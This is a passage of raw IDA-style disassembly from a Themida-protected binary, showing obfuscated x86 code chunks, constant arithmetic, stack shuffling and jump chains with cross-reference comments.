; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A3FEE: ; CODE XREF: Themida_:0059F07Cj
push 658E0D78h
pop eax
push edi
push esi
mov esi, 4E0E5074h
shl esi, 8
sub esi, 3FFA08A1h
shl esi, 1
neg esi
and esi, 678F1E30h
jmp loc_597E49
; ---------------------------------------------------------------------------
loc_5A4013: ; CODE XREF: Themida_:005A3676j
mov ebp, esp
jmp loc_59AB1D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_5A401A: ; CODE XREF: sub_59CFD4-17AAj
add [esp+0Ch+var_4], eax
pop eax
jmp loc_59CEA0
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D1FC
loc_5A4024: ; CODE XREF: sub_59D1FC-2FFEj
pop esp
mov [esp+0], ebx
jmp loc_5A18CE
; END OF FUNCTION CHUNK FOR sub_59D1FC
; ---------------------------------------------------------------------------
loc_5A402D: ; CODE XREF: Themida_:005A28DEj
add edi, 2
jmp loc_59704F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D29C
loc_5A4035: ; CODE XREF: sub_59D29C+9j
add ecx, 4
xchg ecx, [esp+0]
pop esp
add esp, 4
jmp loc_590A9B
; END OF FUNCTION CHUNK FOR sub_59D29C
; ---------------------------------------------------------------------------
loc_5A404A: ; CODE XREF: Themida_:005A4072j
push esi
push ecx
mov ecx, 38B61100h
jmp loc_597F7B
; ---------------------------------------------------------------------------
loc_5A4056: ; CODE XREF: Themida_:00593640j
mov [esp], edx
mov edx, 50DA5A6Ah
dec edx
push esi
mov esi, 0FAA0F36h
dec esi
sub esi, 0C3F390E7h
or edx, esi
pop esi
xchg eax, edx
inc eax
xchg eax, edx
jmp loc_5A404A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A4077: ; CODE XREF: sub_59390B+EDA4j
mov esp, [esp+0]
and ecx, eax
pop eax
shr ecx, 6
push 22C5h
mov [esp+0], ebp
sub esp, 4
mov [esp+4+var_4], eax
push eax
mov eax, esp
jmp loc_597E3C
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A4099: ; CODE XREF: Themida_:00598ABAj
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], eax
pop dword ptr [edi+40h]
push dword ptr [esp]
jmp loc_598504
; ---------------------------------------------------------------------------
loc_5A40B0: ; CODE XREF: Themida_:0059BF98j
mov ebx, 706106ABh
mov esi, 8F9EF957h
add esi, ebx
pop ebx
add ecx, esi
mov esi, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_5A43A8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A40D3: ; CODE XREF: sub_59390B+6FFj
mov [esp+0], ebx
mov ebx, 6B855876h
shr ebx, 2
dec ebx
sub ebx, 1AE15618h
add ebp, 19286007h
add ebp, 49770EB4h
add ebp, ebx
sub ebp, 49770EB4h
sub ebp, 19286007h
pop ebx
sub esp, 4
jmp loc_5976BA
; ---------------------------------------------------------------------------
loc_5A4108: ; CODE XREF: sub_59390B+1181Fj
pop eax
sub dh, ch
jmp loc_592325
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A4110: ; CODE XREF: Themida_:005961F6j
add esp, 4
xor edx, edx
push 3E54h
mov [esp], ebx
jmp loc_5A5187
; ---------------------------------------------------------------------------
loc_5A4122: ; CODE XREF: Themida_:005982A8j
mov edi, 4
add [esp+4], edi
pop edi
pop esi
add esi, 4
push 2898h
jmp loc_59EE05
; ---------------------------------------------------------------------------
loc_5A413D: ; CODE XREF: Themida_:005973D0j
sub eax, ebx
add eax, 40D764EDh
add eax, 4837F1h
push dword ptr [esp]
pop ebx
add esp, 4
jmp loc_59B146
; ---------------------------------------------------------------------------
loc_5A4155: ; CODE XREF: Themida_:0059EF58j
pop ebp
mov ebp, [esp]
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_5937BA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_594A8D
loc_5A4182: ; CODE XREF: sub_594A8D-201Aj
mov ecx, 58551FC9h
or ecx, 6E0E067Bh
xor ecx, 2740384Eh
xor ecx, 581F2E39h
shl ecx, 2
and ecx, 7C8B25C0h
add ecx, 6F741B59h
and ebx, ecx
pop ecx
push 430Eh
mov [esp+10h+var_10], ecx
jmp loc_5A5373
; END OF FUNCTION CHUNK FOR sub_594A8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A41B8: ; CODE XREF: sub_59390B+1113Ej
add [esp-8+arg_4], eax
sub [esp-8+arg_4], 2E13316Eh
push ebp
mov ebp, 19B25850h
sub [esp-4+arg_4], ebp
pop ebp
push [esp-8+arg_0]
jmp loc_5A2A1A
; ---------------------------------------------------------------------------
loc_5A41D7: ; CODE XREF: sub_59390B+DB6Ej
mov edi, [esp-28h+arg_20]
push 7908h
jmp loc_59D5A5
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A41E4: ; CODE XREF: Themida_:00591354j
mov ebp, [esp]
add esp, 4
add ebp, 4
push ebx
sub esp, 4
mov [esp], edx
mov edx, 10B25D2Ch
mov ebx, edx
jmp loc_59A2F9
; ---------------------------------------------------------------------------
loc_5A4209: ; CODE XREF: Themida_:0059A8EEj
xchg edx, [esp]
pop esp
jmp loc_59FDA8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A51EA
loc_5A4212: ; CODE XREF: sub_5A51EA-A65Ej
push eax
mov al, dh
mov cl, al
jmp loc_5A17B8
; END OF FUNCTION CHUNK FOR sub_5A51EA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CFD4
loc_5A421C: ; CODE XREF: sub_59CFD4+F60j
mov ebx, [esp+18h+var_18]
add esp, 4
xor eax, 7AC0C3E8h
push eax
mov edi, [esp+18h+var_18]
jmp loc_59AA5C
; END OF FUNCTION CHUNK FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A0BFE
loc_5A4233: ; CODE XREF: sub_5A0BFE+3E45j
add ebx, ebp
sub ebx, 0EEF64E7h
mov ebp, [esp+0]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+4+var_4]
pop esp
push ecx
mov ecx, 4
add ebx, ecx
pop ecx
xor ebx, [esp+0]
xor [esp+0], ebx
xor ebx, [esp+0]
mov esp, [esp+0]
jmp loc_5A19E0
; END OF FUNCTION CHUNK FOR sub_5A0BFE
; ---------------------------------------------------------------------------
loc_5A4269: ; CODE XREF: Themida_:0059F0EDj
mov ebp, esp
jmp loc_596EFC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A4270: ; CODE XREF: sub_59390B-F65j
mov [esp-18h+arg_10], esi
push eax
add [esp-14h+arg_C], 4221171Eh
push [esp-14h+arg_C]
pop esi
add esp, 4
jmp loc_5980F5
; ---------------------------------------------------------------------------
loc_5A4287: ; CODE XREF: sub_59390B+6653j
push esp
jmp loc_5A148D
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59654E
loc_5A428D: ; CODE XREF: sub_59654E+350Cj
xchg esi, [esp+8+var_8]
mov esp, [esp+8+var_8]
push ebp
push esp
pop ebp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+0Ch+var_C]
mov esp, [esp+0Ch+var_C]
mov [esp+0Ch+var_C], edi
push ecx
jmp loc_592EB3
; END OF FUNCTION CHUNK FOR sub_59654E
; ---------------------------------------------------------------------------
loc_5A42AE: ; CODE XREF: Themida_:005988A0j
mov esi, ecx
mov ecx, [esp]
push edx
jmp loc_599EDC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_5A42B9: ; CODE XREF: sub_59CAFB-16Aj
push 35E6h
jmp loc_59AA79
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A42C3: ; CODE XREF: sub_59390B+E68Fj
mov edx, [esp+0Ch+var_C]
add esp, 4
and esi, 4FE84C50h
push edx
jmp loc_5A3992
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59B2AF
loc_5A42D8: ; CODE XREF: sub_59B2AF+A2E2j
mov ebp, edx
pop edx
jmp loc_59B38A
; END OF FUNCTION CHUNK FOR sub_59B2AF
; ---------------------------------------------------------------------------
loc_5A42E0: ; CODE XREF: Themida_:00596193j
xor edx, 0AA2293Bh
jmp loc_59B1C8
; ---------------------------------------------------------------------------
loc_5A42EB: ; CODE XREF: Themida_:00598BF6j
push dword ptr [esp]
pop eax
push ebx
mov ebx, esp
add ebx, 4
jmp loc_598389
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A42FD: ; CODE XREF: sub_59390B+6E13j
mov eax, 336A011Dh
xor ecx, eax
pop eax
sub ebx, ecx
pop ecx
sub ebx, esi
push ecx
push 1F83h
mov [esp+0], esi
mov esi, 31F2411Dh
push esi
add dword ptr [esp+0], 485F28DAh
jmp loc_5A1C5F
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A23FB
loc_5A4325: ; CODE XREF: sub_5A23FB-4B48j
sub edi, 37416B39h
mov ebx, [esp-0Ch+arg_8]
add esp, 4
push 5753h
mov [esp-0Ch+arg_8], ebx
mov ebx, 11AF4CA1h
neg ebx
push esi
sub esp, 4
mov [esp+0], edi
mov edi, 0
mov esi, edi
pop edi
sub esi, ebx
mov ebx, esi
mov esi, [esp-8+arg_4]
add esp, 4
xchg ebp, ebx
dec ebp
xchg ebp, ebx
jmp loc_592B5C
; END OF FUNCTION CHUNK FOR sub_5A23FB
; ---------------------------------------------------------------------------
loc_5A4369: ; CODE XREF: Themida_:00596506j
sub edx, edi
jmp loc_5973AD
; ---------------------------------------------------------------------------
loc_5A4370: ; CODE XREF: Themida_:00591841j
push dword ptr [esp]
pop esi
add esp, 4
pop ecx
or edi, 781952D7h
shl edi, 4
xor edi, 0AE2FAF23h
add eax, 3B6964CDh
sub eax, 518B0532h
sub eax, edi
add eax, 518B0532h
push ebx
mov ebx, 3B6964CDh
sub eax, ebx
mov ebx, [esp]
jmp loc_593F76
; ---------------------------------------------------------------------------
loc_5A43A8: ; CODE XREF: Themida_:005A40CEj
xchg ebx, [esp]
pop esp
xchg ecx, [esp]
pop esp
jmp loc_5A4EF2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5932F7
loc_5A43B5: ; CODE XREF: sub_5932F7+D093j
xchg edi, [esp+4+var_4]
pop esp
push ecx
mov ecx, esp
push edi
push esi
mov esi, 4
mov edi, esi
pop esi
add ecx, edi
jmp loc_5A1E81
; END OF FUNCTION CHUNK FOR sub_5932F7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A4D6
loc_5A43CD: ; CODE XREF: sub_59A4D6+82F1j
mov [esp+4+var_4], ebp
mov ebp, 4
add eax, ebp
push [esp+4+var_4]
pop ebp
add esp, 4
push 63D3h
mov [esp+4+var_4], ebp
push esp
pop ebp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+4+var_4]
mov esp, [esp+4+var_4]
mov [esp+4+var_4], eax
jmp loc_59733C
; END OF FUNCTION CHUNK FOR sub_59A4D6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A4402: ; CODE XREF: sub_59390B+12Aj
pop eax
xchg ecx, [esp-18h+arg_10]
pop esp
push edi
jmp loc_59FC83
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A440D: ; CODE XREF: Themida_:00597A79j
push 4792h
mov [esp], ebp
mov ebp, 4C430CB9h
push eax
push edx
push 570C639Bh
pop edx
sub edx, 4B641C69h
mov eax, edx
jmp loc_5988C2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59333E
loc_5A442F: ; CODE XREF: sub_59333E+11435j
sub eax, 65D37AF1h
jmp loc_592E32
; END OF FUNCTION CHUNK FOR sub_59333E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_5A4439: ; CODE XREF: sub_59A75E+950Fj
mov si, 522Eh
sub bx, si
jmp loc_59B555
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A4445: ; CODE XREF: sub_59390B+1762j
xor ebx, [esp-8+arg_0]
xor [esp-8+arg_0], ebx
xor ebx, [esp-8+arg_0]
mov esp, [esp-8+arg_0]
xor ebx, [esp-8+arg_0]
xor [esp-8+arg_0], ebx
xor ebx, [esp-8+arg_0]
pop esp
btr word ptr [esp-0Ch+arg_4], ax
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
loc_5A4466: ; CODE XREF: sub_59390B+4120j
add ebp, 4
jmp loc_592DC0
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A4471: ; CODE XREF: Themida_:005A555Aj
push esi
mov esi, 3B577363h
shr esi, 1
not esi
inc esi
sub esi, 0FE42069h
sub esi, 9649D69Ah
or edx, esi
pop esi
jmp loc_5A2C95
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_5A4490: ; CODE XREF: sub_59FD45-5B75j
sub ebp, eax
mov eax, [esp+8+var_8]
jmp loc_59F526
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D1FC
loc_5A449A: ; CODE XREF: sub_59D1FC-AE4j
push 7B79h
mov [esp+8+var_8], ebx
mov ebx, 4
sub esi, ebx
pop ebx
jmp loc_59CF8E
; END OF FUNCTION CHUNK FOR sub_59D1FC
; ---------------------------------------------------------------------------
loc_5A44AF: ; CODE XREF: Themida_:00592A54j
push edi
push dword ptr [esp+4]
mov edi, [esp]
jmp loc_5A071B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A44BC: ; CODE XREF: sub_59390B-45Ej
xchg ebx, [esp+0]
mov esp, [esp+0]
jmp loc_5973EA
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A44C7: ; CODE XREF: Themida_:005A4CD8j
shr dword ptr [esp], cl
pushf
jmp loc_590A9B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_592586
loc_5A44D0: ; CODE XREF: sub_592586+89E8j
add ebx, ebp
mov ebp, [esp+8+var_8]
jmp loc_59CC2F
; END OF FUNCTION CHUNK FOR sub_592586
; ---------------------------------------------------------------------------
loc_5A44DA: ; CODE XREF: Themida_:0059769Ej
sub edi, ecx
jmp loc_595EFE
; ---------------------------------------------------------------------------
loc_5A44E1: ; CODE XREF: Themida_:00598662j
mov edi, 0C7F4594h
sub [esp+4], edi
pop edi
pop esi
push edi
jmp loc_59A76F
; ---------------------------------------------------------------------------
loc_5A44F2: ; CODE XREF: Themida_:0059D329j
pop esp
push eax
push dword ptr [esp+4]
push dword ptr [esp]
mov eax, [esp]
jmp loc_5A37A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59CAFB
loc_5A4503: ; CODE XREF: sub_59CAFB+1Cj
add esp, 4
add eax, 0B25344Ah
jmp loc_5934B2
; END OF FUNCTION CHUNK FOR sub_59CAFB
; ---------------------------------------------------------------------------
loc_5A4510: ; CODE XREF: Themida_:00591B0Aj
push 0D24h
mov [esp], edi
sub esp, 4
jmp loc_5A1EBC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5932F7
loc_5A4523: ; CODE XREF: sub_5932F7-B3Dj
xchg esi, ebx
not esi
xchg esi, ebx
jmp loc_5949AA
; END OF FUNCTION CHUNK FOR sub_5932F7
; ---------------------------------------------------------------------------
loc_5A452E: ; CODE XREF: Themida_:005A50AEj
mov [esp], ecx
mov ecx, 311970B8h
or ecx, 6C733848h
shl ecx, 6
sub ecx, 444F5920h
dec ecx
xor ecx, 46502EEEh
sub ecx, 0F4137753h
jmp loc_59A74E
; ---------------------------------------------------------------------------
loc_5A4557: ; CODE XREF: Themida_:0059F974j
sub ecx, esi
add ecx, 7ADD0BC1h
sub ecx, 3C66644h
add ecx, 58734282h
mov esi, [esp]
add esp, 4
add esi, 575147EDh
sub esi, ecx
sub esi, 575147EDh
pop ecx
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
jmp loc_5A280A
; ---------------------------------------------------------------------------
loc_5A4594: ; CODE XREF: Themida_:005A4ABFj
and ecx, edi
pop edi
sub ecx, 150A2051h
mov esi, ecx
pop ecx
add ebx, esi
mov esi, [esp]
add esp, 4
push 7E51h
mov [esp], ebx
jmp loc_59DC64
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A45B8: ; CODE XREF: sub_59390B+C2EEj
xchg ebp, [esp+0Ch+var_C]
pop esp
push 4C01h
mov [esp+0Ch+var_C], edi
push eax
mov eax, 5B4847D8h
push eax
xor [esp+14h+var_14], 4C05628Fh
pop edi
xor edi, 4C05628Fh
jmp loc_59FB05
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59F53F
loc_5A45DE: ; CODE XREF: sub_59F53F-667Dj
xchg esi, [esp-4+arg_0]
jmp loc_5965C9
; END OF FUNCTION CHUNK FOR sub_59F53F
; ---------------------------------------------------------------------------
loc_5A45E6: ; CODE XREF: Themida_:0059507Fj
xor edx, 0C007E77h
sub ebx, edx
pop edx
add ebx, 0A43B1781h
add eax, ebx
jmp loc_59545C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5950DF
loc_5A45FC: ; CODE XREF: sub_5950DF+11j
mov esi, esp
jmp loc_599B03
; END OF FUNCTION CHUNK FOR sub_5950DF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A4CDD
loc_5A4603: ; CODE XREF: sub_5A4CDD-BA01j
push 271Eh
mov [esp+10h+var_10], ebx
mov ebx, esp
jmp loc_59ABA5
; END OF FUNCTION CHUNK FOR sub_5A4CDD
; ---------------------------------------------------------------------------
loc_5A4612: ; CODE XREF: Themida_:00590D1Ej
add edi, 1
inc edi
not edi
shl edi, 5
jmp loc_59FF6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D82E
loc_5A4623: ; CODE XREF: sub_59D82E-613Bj
idiv cl
movzx cx, ah
push small 3381h
jmp loc_59A4C9
; END OF FUNCTION CHUNK FOR sub_59D82E
; ---------------------------------------------------------------------------
loc_5A4632: ; CODE XREF: Themida_:0059228Dj
push ebp
mov ebp, 4
jmp loc_59E30A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_591FC5
loc_5A463D: ; CODE XREF: sub_591FC5+EB18j
shr ah, 5
or ah, 0C8h
jmp loc_593630
; END OF FUNCTION CHUNK FOR sub_591FC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59731A
loc_5A4648: ; CODE XREF: sub_59731A+C924j
pop edi
sub edi, 4EB14E62h
jmp loc_59D479
; END OF FUNCTION CHUNK FOR sub_59731A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_5A4654: ; CODE XREF: sub_59FD45+5D8Bj
push edi
push [esp+0Ch+var_8]
mov edi, [esp+10h+var_10]
add esp, 4
pop [esp+0Ch+var_C]
pop esp
mov [ebx], edx
mov ebx, [esp+4+var_4]
jmp loc_59B4A9
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A4670: ; CODE XREF: sub_59390B-169Aj
sub esi, 9FE26E88h
add edi, esi
pop esi
mov ebx, [esp-18h+arg_10]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp-14h+arg_C]
pop esp
jmp loc_592F24
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A51EA
loc_5A4692: ; CODE XREF: sub_5A51EA-B1A8j
sub cl, 1Ah
jmp loc_59B796
; END OF FUNCTION CHUNK FOR sub_5A51EA
; ---------------------------------------------------------------------------
push dword ptr [esp]
jmp loc_5996AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59A75E
loc_5A46A2: ; CODE XREF: sub_59A75E-6047j
mov [esp+0], ax
jmp loc_592B32
; END OF FUNCTION CHUNK FOR sub_59A75E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A46AB: ; CODE XREF: sub_59390B-17EBj
pop ecx
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp-0Ch+arg_4]
pop esp
mov [esp-10h+arg_8], ecx
mov cl, 26h
shr cl, 4
neg cl
push dx
jmp loc_5A3620
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A46D0: ; CODE XREF: Themida_:00598DE4j
xchg ebx, [esp]
pop esp
mov [esp], ebp
mov ebp, 4FA54DFh
jmp loc_59B40D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964AF
loc_5A46E1: ; CODE XREF: sub_5964AF-315Fj
mov eax, [esp-0Ch+arg_8]
add esp, 4
jmp loc_5A3823
; END OF FUNCTION CHUNK FOR sub_5964AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A46EC: ; CODE XREF: sub_59390B+5E25j
mov [esp+0], ebx
push 28h
pop ebx
add ebx, 4635D1Ah
sub ebx, offset word_49457A
add ebx, edi
push 38C1h
mov [esp+0], ecx
mov ecx, offset word_49457A
add ebx, ecx
jmp loc_592466
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_5A4717: ; CODE XREF: sub_59FCCB+4AEDj
mov dl, cl
mov bl, dl
pop edx
pop ecx
push 0AC4h
jmp loc_5A314A
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A4727: ; CODE XREF: sub_59390B+A1B7j
mov ebx, 314B3175h
jmp loc_5A2390
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A28F6
loc_5A4731: ; CODE XREF: sub_5A28F6-A27Dj
mov [esp+0], ebx
push 4D546AC8h
pop ebx
mov esi, ebx
push dword ptr [esp+0]
push [esp+4+var_4]
pop ebx
add esp, 4
push 448Bh
mov [esp+4+var_4], ebp
mov ebp, esp
jmp loc_5A2CFA
; END OF FUNCTION CHUNK FOR sub_5A28F6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A4755: ; CODE XREF: sub_59390B-1240j
push edi
pop edx
pop edi
add eax, edx
jmp loc_5911A1
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_597C8E
loc_5A475F: ; CODE XREF: sub_597C8E+A31Cj
pop ecx
sub esi, edx
pop edx
jmp loc_5A17AD
; END OF FUNCTION CHUNK FOR sub_597C8E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A4768: ; CODE XREF: sub_59390B+25EEj
mov edx, 518D08ECh
jmp loc_5A5246
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59333E
loc_5A4772: ; CODE XREF: sub_59333E-1688j
pop ecx
jmp loc_5A442F
; END OF FUNCTION CHUNK FOR sub_59333E
; ---------------------------------------------------------------------------
loc_5A4778: ; CODE XREF: Themida_:00592BE5j
inc ecx
shr ecx, 6
jmp loc_599EC6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5995FC
loc_5A4781: ; CODE XREF: sub_5995FC-67B3j
mov [esp+2+var_4+2], ebx
jmp loc_594B44
; END OF FUNCTION CHUNK FOR sub_5995FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964AF
loc_5A4789: ; CODE XREF: sub_5964AF+D375j
add eax, 7ECC5D01h
sub esp, 4
mov [esp-0Ch+arg_8], esi
sub esp, 4
jmp loc_599883
; END OF FUNCTION CHUNK FOR sub_5964AF
; ---------------------------------------------------------------------------
loc_5A47A2: ; DATA XREF: Themida_:00590990o
mov cx, [esp]
push eax
push esp
pop eax
jmp loc_59DAFF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FCCB
loc_5A47AE: ; CODE XREF: sub_59FCCB-45F2j
mov cl, al
push 3B28h
mov [esp+1Ch+var_1C], edx
jmp loc_5A4717
; END OF FUNCTION CHUNK FOR sub_59FCCB
; ---------------------------------------------------------------------------
loc_5A47BD: ; CODE XREF: Themida_:005A38D1j
sub dword ptr [esp+4], 0C455015h
sub dword ptr [esp+4], 0BA84732h
mov ebp, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_5A13E6
; ---------------------------------------------------------------------------
loc_5A47E1: ; CODE XREF: Themida_:00592BBCj
mov [esp], edi
jmp loc_5A0673
; ---------------------------------------------------------------------------
loc_5A47E9: ; CODE XREF: Themida_:005A1DD1j
mov [esp], eax
mov eax, 3800C2h
jmp loc_5A04E4
; ---------------------------------------------------------------------------
loc_5A47F6: ; CODE XREF: Themida_:0059BD71j
mov [esp], esi
mov esi, esp
push eax
push 4
pop eax
sub esi, 699F027Ch
push ecx
mov ecx, 50806505h
sub ecx, 2D729DEh
jmp loc_59E395
; ---------------------------------------------------------------------------
loc_5A4819: ; CODE XREF: Themida_:005A3C32j
mov [esp], esp
add dword ptr [esp], 4
mov ebp, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_59232C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A4834: ; CODE XREF: sub_59390B+315Fj
add esp, 4
jmp sub_590AC5
; ---------------------------------------------------------------------------
loc_5A483F: ; CODE XREF: sub_59390B+1E1Fj
mov eax, 7EF56758h
or eax, 55256C9Dh
shl eax, 3
push esi
mov esi, 3A8A6A4Bh
sub eax, esi
jmp loc_5A3A1C
; END OF FUNCTION CHUNK FOR sub_59390B
; ---------------------------------------------------------------------------
loc_5A4859: ; CODE XREF: Themida_:005980F0j
xchg eax, [esp]
pop esp
push 592Dh
jmp loc_597780
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5A17BF
loc_5A4867: ; CODE XREF: sub_5A17BF-E2EBj
mov ecx, [esp+10h+var_10]
add esp, 4
not esi
sub esi, 0EBECF870h
xor eax, esi
mov esi, [esp+0Ch+var_C]
jmp loc_593BFB
; END OF FUNCTION CHUNK FOR sub_5A17BF
; ---------------------------------------------------------------------------
loc_5A487F: ; CODE XREF: Themida_:0059782Aj
pop eax
add esp, 4
sub ebx, 4
xchg ebx, [esp]
jmp loc_594D7C
; ---------------------------------------------------------------------------
loc_5A488E: ; CODE XREF: Themida_:0059B0A0j
xchg ecx, [esp]
mov esp, [esp]
push esp
jmp loc_596B70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5964AF
loc_5A489A: ; CODE XREF: sub_5964AF+D077j
push [esp-0Ch+arg_8]
jmp loc_59B073
; END OF FUNCTION CHUNK FOR sub_5964AF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5999A4
loc_5A48A2: ; CODE XREF: sub_5999A4-1CFBj
add esp, 4
add ebx, eax
mov eax, [esp+0]
push ebx
jmp loc_5A050D
; END OF FUNCTION CHUNK FOR sub_5999A4
; ---------------------------------------------------------------------------
loc_5A48B3: ; CODE XREF: Themida_:0059AAD3j
mov esi, 85F268Eh
not esi
jmp loc_59847A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5936EC
loc_5A48BF: ; CODE XREF: sub_5936EC+B153j
add esi, ebp
pop ebp
push 0A5Bh
mov [esp+10h+var_10], edx
mov edx, 563B73D0h
add edx, 0A9C48C34h
push eax
mov eax, 139763F8h
jmp loc_59D8CB
; END OF FUNCTION CHUNK FOR sub_5936EC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59FD45
loc_5A48E0: ; CODE XREF: sub_59FD45+38Ej
xor eax, esi
mov esi, [esp+0]
jmp loc_59652F
; END OF FUNCTION CHUNK FOR sub_59FD45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59390B
loc_5A48EA: ; CODE XREF: sub_59390B+A167j
xor edx, 0E204F416h
xor edi, edx
pop edx
sub ebx, edi
pop edi
push 4DE7h
jmp loc_593FC6
; ---------------------------------------------------------------------------
loc_5A4900: ; CODE XREF: sub_59390B+7D57j
push esi
mov esi, 5159461Dh
not esi
jmp loc_59CE21
; END OF FUNCTION CHUNK FOR sub_59390B
